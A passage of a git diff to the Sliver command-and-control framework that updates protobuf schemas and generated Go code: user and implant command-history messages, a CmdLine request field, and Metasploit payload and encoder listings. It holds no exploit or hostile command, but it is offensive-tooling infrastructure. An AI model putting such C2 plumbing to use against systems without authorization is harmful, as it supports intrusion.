+ file_clientpb_client_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ResourceID); i {
case 0:
return &v.state
@@ -14411,7 +15046,7 @@ func file_clientpb_client_proto_init() {
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_clientpb_client_proto_rawDesc,
NumEnums: 13,
- NumMessages: 129,
+ NumMessages: 135,
NumExtensions: 0,
NumServices: 0,
},
diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto
index e2814606e0..47b411969c 100644
--- a/protobuf/clientpb/client.proto
+++ b/protobuf/clientpb/client.proto
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/clientpb";
import "commonpb/common.proto";
-// [ Version ] ----------------------------------------
+// [ Teamclient ] -------------------------------------------
message Version {
int32 Major = 1;
@@ -19,12 +19,53 @@ message Version {
string Arch = 8;
}
-// [ Client Logs ] ----------------------------------------
+message Users { repeated User Users = 1; }
+
+message User {
+ string Name = 1;
+ bool Online = 2;
+ int64 LastSeen = 3;
+ int32 Clients = 4;
+}
+
+
+// [ Client Logs ] ------------------------------------------
message ClientLogData {
string Stream = 1;
bytes Data = 2;
}
+// [ History commands ] ----------------------------------------
+
+message ImplantCommand {
+ string Stream = 1;
+ string User = 2;
+ string ImplantID = 3;
+ string ImplantName = 4;
+ int64 ExecutedAt = 5;
+ string Block = 6;
+
+ commonpb.Request Request = 9;
+}
+
+message HistoryRequest {
+ bool UserOnly = 1;
+ int32 MaxLines = 2;
+ string ImplantID = 3;
+ string ImplantName = 4;
+
+ commonpb.Request Request = 9;
+}
+
+// History - Command history content.
+message History {
+ int32 HistoryLen = 2;
+ bool UserOnly = 3;
+ repeated ImplantCommand Commands = 4;
+
+ commonpb.Response Response = 9;
+}
+
// [ Core ] ----------------------------------------
message Session {
@@ -102,6 +143,7 @@ message BeaconTask {
bytes Request = 7;
bytes Response = 8;
string Description = 9;
+ repeated string CmdLine = 10;
}
message BeaconTasks {
@@ -284,6 +326,21 @@ message Compiler {
repeated CompilerTarget UnsupportedTargets = 5;
}
+message MetasploitModule {
+ string Name = 1;
+ string FullName = 2;
+ string Description = 3;
+ string Quality = 4;
+}
+
+message MetasploitCompiler {
+ string Version = 1;
+ repeated string Formats = 2;
+ repeated string Archs = 3;
+ repeated MetasploitModule Encoders = 4;
+ repeated MetasploitModule Payloads = 5;
+}
+
message DeleteReq { string Name = 1; }
// DNSCanary - Single canary and metadata
@@ -567,15 +624,14 @@ message Client {
message Event {
string EventType = 1;
Session Session = 2;
- Job Job = 3;
- Client Client = 4;
- bytes Data = 5;
+ Beacon Beacon = 3;
+ Job Job = 4;
+ Client Client = 5;
+ bytes Data = 6;
- string Err = 6; // Can't trigger normal gRPC error
+ string Err = 7; // Can't trigger normal gRPC error
}
-message Operators { repeated Operator Operators = 1; }
-
message Operator {
bool Online = 1;
string Name = 2;
diff --git a/protobuf/commonpb/common.pb.go b/protobuf/commonpb/common.pb.go
index a43cdeb518..a71fdef459 100644
--- a/protobuf/commonpb/common.pb.go
+++ b/protobuf/commonpb/common.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.31.0
-// protoc v4.25.0
+// protoc-gen-go v1.31.0-devel
+// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
@@ -64,10 +64,11 @@ type Request struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
- Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
- Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
- BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
- SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
+ Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
+ Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
+ BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
+ SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
+ CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
}
func (x *Request) Reset() {
@@ -130,6 +131,13 @@ func (x *Request) GetSessionID() string {
return ""
}
+func (x *Request) GetCmdLine() []string {
+ if x != nil {
+ return x.CmdLine
+ }
+ return nil
+}
+
// Response - Common fields used in all gRPC responses. Note that the Err field
//
// only used when the implant needs to return an error to the server.
@@ -418,43 +426,45 @@ var File_commonpb_common_proto protoreflect.FileDescriptor
var file_commonpb_common_proto_rawDesc = []byte{
0x0a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x73, 0x0a, 0x07, 0x52, 0x65,
- 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x01,
- 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x54,
- 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, 0x69,
- 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
- 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
- 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
- 0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45,
- 0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a,
- 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73,
- 0x79, 0x6e, 0x63, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18,
- 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12,
- 0x16, 0x0a, 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12,
- 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e,
- 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28,
- 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63,
- 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05,
- 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20,
- 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65,
- 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45,
- 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e,
- 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12,
- 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18,
- 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74,
- 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44,
- 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49,
- 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03,
- 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45,
- 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65,
- 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a,
- 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68,
- 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f,
- 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06,
- 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+ 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x8d, 0x01, 0x0a, 0x07, 0x52,
+ 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07,
+ 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54,
+ 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
+ 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
+ 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18,
+ 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44,
+ 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28,
+ 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x66, 0x0a, 0x08, 0x52, 0x65,
+ 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e,
+ 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x1a,
+ 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x61,
+ 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x61, 0x73, 0x6b,
+ 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61,
+ 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12,
+ 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61,
+ 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10,
+ 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64,
+ 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04,
+ 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62,
+ 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74,
+ 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x04, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72,
+ 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c,
+ 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x05, 0x20, 0x01, 0x28,
+ 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07,
+ 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43,
+ 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72,
+ 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b,
+ 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68,
+ 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78,
+ 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66,
+ 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f,
+ 0x33,
}
var (
diff --git a/protobuf/commonpb/common.proto b/protobuf/commonpb/common.proto
index 9dfeaeb8eb..ef5a784c42 100644
--- a/protobuf/commonpb/common.proto
+++ b/protobuf/commonpb/common.proto
@@ -15,6 +15,7 @@ message Request {
string BeaconID = 8;
string SessionID = 9;
+ repeated string CmdLine = 10;
}
// Response - Common fields used in all gRPC responses. Note that the Err field
@@ -48,4 +49,4 @@ message Process {
message EnvVar {
string Key = 1;
string Value = 2;
-}
\ No newline at end of file
+}
diff --git a/protobuf/dnspb/dns.pb.go b/protobuf/dnspb/dns.pb.go
index 1cf6752d8c..bf97c015d5 100644
--- a/protobuf/dnspb/dns.pb.go
+++ b/protobuf/dnspb/dns.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.31.0
-// protoc v4.25.0
+// protoc-gen-go v1.31.0-devel
+// protoc v3.15.8
// source: dnspb/dns.proto
package dnspb
diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go
index bfde3996b9..0e778186d6 100644
--- a/protobuf/rpcpb/services.pb.go
+++ b/protobuf/rpcpb/services.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.31.0
-// protoc v4.25.0
+// protoc-gen-go v1.31.0-devel
+// protoc v3.15.8
// source: rpcpb/services.proto
package rpcpb
@@ -31,671 +31,683 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
- 0x74, 0x6f, 0x32, 0xc6, 0x52, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
+ 0x74, 0x6f, 0x32, 0x87, 0x54, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
- 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12,
- 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
- 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x34, 0x0a, 0x0c, 0x47,
- 0x65, 0x74, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
- 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x13, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72,
- 0x73, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a,
- 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67,
- 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a,
- 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a,
- 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
- 0x73, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72,
- 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
- 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
- 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f,
- 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
- 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x4d, 0x6f, 0x6e, 0x69, 0x74,
- 0x6f, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72,
- 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x44, 0x0a, 0x10,
- 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
- 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69,
- 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12,
- 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
- 0x73, 0x65, 0x12, 0x44, 0x0a, 0x10, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c,
- 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x0f,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
+ 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x73,
+ 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, 0x17, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c,
+ 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
+ 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c,
+ 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c,
+ 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
+ 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69,
+ 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66,
+ 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12,
